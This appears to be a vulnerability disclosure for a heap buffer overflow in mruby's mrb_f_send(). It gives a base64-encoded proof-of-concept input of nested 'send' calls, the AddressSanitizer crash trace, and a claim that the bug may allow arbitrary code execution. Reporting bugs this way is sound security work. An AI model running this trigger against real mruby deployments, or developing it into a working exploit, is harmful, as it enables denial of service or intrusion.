Description

Heap Overflow occurs in mrb_f_send().

commit : 38b164ace7d6ae1c367883a3d67d7f559783faad

Proof of Concept

$ echo -ne "c2VuZCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5kIiwic2Vu
ZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiCg==" | base64 -d > poc

# ASAN
$ ./bin/mruby poc
=================================================================
==160090==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c0000000c0 at pc 0x00000058752e bp 0x7ffffffe7430 sp 0x7ffffffe7428
READ of size 8 at 0x60c0000000c0 thread T0
    #0 0x58752d in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:695:12
    #1 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #2 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #3 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #4 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #5 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #6 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #7 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #8 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #9 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #10 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #11 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #12 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #13 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #14 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #15 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #16 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
    #17 0x59ce54 in mrb_vm_exec /home/alkyne/mruby-debug/src/vm.c:1633:18
    #18 0x58c1da in mrb_vm_run /home/alkyne/mruby-debug/src/vm.c:1128:12
    #19 0x586949 in mrb_top_run /home/alkyne/mruby-debug/src/vm.c:3037:12
    #20 0x68dd7b in mrb_load_exec /home/alkyne/mruby-debug/mrbgems/mruby-compiler/core/parse.y:6883:7
    #21 0x68ef5b in mrb_load_detect_file_cxt /home/alkyne/mruby-debug/mrbgems/mruby-compiler/core/parse.y:6926:12
    #22 0x4cd28f in main /home/alkyne/mruby-debug/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11
    #23 0x7ffff7a690b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #24 0x41d70d in _start (/home/alkyne/mruby-debug/bin/mruby.asan+0x41d70d)

0x60c0000000c0 is located 0 bytes to the right of 128-byte region [0x60c000000040,0x60c0000000c0)
allocated by thread T0 here:
    #0 0x4988e9 in realloc (/home/alkyne/mruby-debug/bin/mruby.asan+0x4988e9)
    #1 0x5f52b5 in mrb_default_allocf /home/alkyne/mruby-debug/src/state.c:68:12
    #2 0x65521e in mrb_realloc_simple /home/alkyne/mruby-debug/src/gc.c:226:8
    #3 0x6557a4 in mrb_realloc /home/alkyne/mruby-debug/src/gc.c:240:8
    #4 0x6558d0 in mrb_malloc /home/alkyne/mruby-debug/src/gc.c:256:10
    #5 0x4d06cc in ary_new_capa /home/alkyne/mruby-debug/src/array.c:37:35
    #6 0x4d0c13 in ary_new_from_values /home/alkyne/mruby-debug/src/array.c:84:22
    #7 0x4d0b38 in mrb_ary_new_from_values /home/alkyne/mruby-debug/src/array.c:95:22
    #8 0x5b7a1f in mrb_vm_exec /home/alkyne/mruby-debug/src/vm.c:2605:17
    #9 0x58c1da in mrb_vm_run /home/alkyne/mruby-debug/src/vm.c:1128:12
    #10 0x586949 in mrb_top_run /home/alkyne/mruby-debug/src/vm.c:3037:12
    #11 0x68dd7b in mrb_load_exec /home/alkyne/mruby-debug/mrbgems/mruby-compiler/core/parse.y:6883:7
    #12 0x68ef5b in mrb_load_detect_file_cxt /home/alkyne/mruby-debug/mrbgems/mruby-compiler/core/parse.y:6926:12
    #13 0x4cd28f in main /home/alkyne/mruby-debug/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11
    #14 0x7ffff7a690b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/alkyne/mruby-debug/src/vm.c:695:12 in mrb_f_send
Shadow bytes around the buggy address:
  0x0c187fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c187fff8010: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
  0x0c187fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==160090==ABORTING

Impact

Heap based Buffer Overflow may lead to exploiting the program, which can allow the attacker to execute arbitrary code.